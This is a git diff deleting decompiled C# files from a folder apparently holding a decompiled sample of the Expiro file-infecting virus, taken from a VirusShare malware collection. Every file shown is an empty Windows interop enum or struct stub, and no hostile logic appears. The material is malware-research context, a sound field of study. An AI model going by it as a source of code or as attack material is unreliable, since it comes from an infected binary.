a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_FINDEX_INFO_LEVELS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _FINDEX_INFO_LEVELS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _FINDEX_INFO_LEVELS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_FINDEX_SEARCH_OPS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_FINDEX_SEARCH_OPS.cs deleted file mode 100644 index 9bdeef7c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_FINDEX_SEARCH_OPS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _FINDEX_SEARCH_OPS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _FINDEX_SEARCH_OPS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_GET_FILEEX_INFO_LEVELS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_GET_FILEEX_INFO_LEVELS.cs deleted file mode 100644 index 3330ffa5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_GET_FILEEX_INFO_LEVELS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _GET_FILEEX_INFO_LEVELS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _GET_FILEEX_INFO_LEVELS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_GPO_LINK.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_GPO_LINK.cs deleted file mode 100644 index 8691d9c2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_GPO_LINK.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _GPO_LINK -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _GPO_LINK -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_GUID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_GUID.cs deleted file mode 100644 index 6e540e24..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_GUID.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _GUID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[UnsafeValueType] -[StructLayout(LayoutKind.Sequential, Size = 16)] -internal struct _GUID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_HEAP_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_HEAP_INFORMATION_CLASS.cs deleted file mode 100644 index 81c8838a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_HEAP_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _HEAP_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _HEAP_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_HandleType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_HandleType.cs deleted file mode 100644 index 72da4fd1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_HandleType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _HandleType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _HandleType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_IDL_CS_CONVERT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_IDL_CS_CONVERT.cs deleted file mode 100644 index fe2d440f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_IDL_CS_CONVERT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _IDL_CS_CONVERT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _IDL_CS_CONVERT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ITEMIDLIST.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ITEMIDLIST.cs deleted file mode 100644 index 559e1b7b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ITEMIDLIST.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ITEMIDLIST -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[UnsafeValueType] -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 3)] -internal struct _ITEMIDLIST -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_JOBOBJECTINFOCLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_JOBOBJECTINFOCLASS.cs deleted file mode 100644 index 7be56a16..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_JOBOBJECTINFOCLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _JOBOBJECTINFOCLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _JOBOBJECTINFOCLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_KERB_LOGON_SUBMIT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_KERB_LOGON_SUBMIT_TYPE.cs deleted file mode 100644 index 3bf83c6c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_KERB_LOGON_SUBMIT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _KERB_LOGON_SUBMIT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _KERB_LOGON_SUBMIT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_KERB_PROFILE_BUFFER_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_KERB_PROFILE_BUFFER_TYPE.cs deleted file mode 100644 index 1b2e6548..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_KERB_PROFILE_BUFFER_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _KERB_PROFILE_BUFFER_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _KERB_PROFILE_BUFFER_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_KERB_PROTOCOL_MESSAGE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_KERB_PROTOCOL_MESSAGE_TYPE.cs deleted file mode 100644 index 4b52a7bb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_KERB_PROTOCOL_MESSAGE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _KERB_PROTOCOL_MESSAGE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _KERB_PROTOCOL_MESSAGE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_KTMOBJECT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_KTMOBJECT_TYPE.cs deleted file mode 100644 index 1fe69a08..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_KTMOBJECT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _KTMOBJECT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _KTMOBJECT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_LOGICAL_PROCESSOR_RELATIONSHIP.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_LOGICAL_PROCESSOR_RELATIONSHIP.cs deleted file mode 100644 index 6632a2e2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_LOGICAL_PROCESSOR_RELATIONSHIP.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _LOGICAL_PROCESSOR_RELATIONSHIP -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _LOGICAL_PROCESSOR_RELATIONSHIP -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_LUID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_LUID.cs deleted file mode 100644 index bd9009c3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_LUID.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _LUID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _LUID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MANDATORY_LEVEL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MANDATORY_LEVEL.cs deleted file mode 100644 index fc7693eb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MANDATORY_LEVEL.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MANDATORY_LEVEL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _MANDATORY_LEVEL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MEDIA_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MEDIA_TYPE.cs deleted file mode 100644 index dfa14fab..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MEDIA_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MEDIA_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _MEDIA_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs deleted file mode 100644 index 9b2e4934..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MEMORY_RESOURCE_NOTIFICATION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _MEMORY_RESOURCE_NOTIFICATION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MSV1_0_LOGON_SUBMIT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MSV1_0_LOGON_SUBMIT_TYPE.cs deleted file mode 100644 index 403ae7ae..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MSV1_0_LOGON_SUBMIT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MSV1_0_LOGON_SUBMIT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _MSV1_0_LOGON_SUBMIT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MSV1_0_PROFILE_BUFFER_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MSV1_0_PROFILE_BUFFER_TYPE.cs deleted file mode 100644 index f7d0c1ee..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MSV1_0_PROFILE_BUFFER_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MSV1_0_PROFILE_BUFFER_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _MSV1_0_PROFILE_BUFFER_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs deleted file mode 100644 index 6a4c9f19..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MSV1_0_PROTOCOL_MESSAGE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _MSV1_0_PROTOCOL_MESSAGE_TYPE -{ -} diff --git 